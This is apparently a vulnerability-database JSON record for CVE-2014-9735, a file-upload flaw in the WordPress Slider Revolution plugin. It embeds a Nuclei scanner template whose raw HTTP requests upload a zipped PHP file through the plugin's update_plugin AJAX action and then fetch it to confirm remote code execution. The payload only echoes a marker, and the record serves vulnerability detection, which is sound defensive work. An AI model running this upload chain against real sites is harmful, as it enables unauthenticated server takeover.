{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2014-9735/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2014-9735/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2014-9735/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2014-9735/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2014-9735/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2014-9735"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2014-9735"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2014/CVE-2014-9735.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2014-9735\n\ninfo:\n  name: WordPress RevSlider - Remote Code Execution via File Upload\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.\n  remediation: |\n    Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use.\n  reference:\n    - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-9735\n    - https://www.exploit-db.com/exploits/35385\n    - https://wpvulndb.com/vulnerabilities/7954\n    - https://plugins.trac.wordpress.org/browser/patch-for-revolution-slider/trunk/revsliderpatch.php\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2014-9735\n    cwe-id: CWE-264\n    epss-score: 0.75558\n    epss-percentile: 0.99519\n    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*\n  metadata:\n    vendor: themepunch\n    product: showbiz_pro\n    framework: wordpress\n  tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n  b64marker: \"{{base64(marker)}}\"\n  filename: \"{{rand_base(5)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg\n\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"action\"\n\n        revslider_ajax_action\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"client_action\"\n\n        update_plugin\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"update_file\"; filename=\"{{filename}}.zip\"\n        Content-Type: application/zip\n\n        {{zip('{{filename}}.php','<?php echo base64_decode(\\'{{b64marker}}\\'); ?>')}}\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Update in progress...\",\"wp-admin/admin.php?page=revslider&view=sliders\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{marker}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a0048304602210095076c153fa0f2b9cfd0b17130eae92d689bbe3038e699a04aca276d0106c079022100eae855ae22f29c944d706a05b7cd1f30c105fb8af42e5fda7b8746e5d672b049:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2014-9735"
}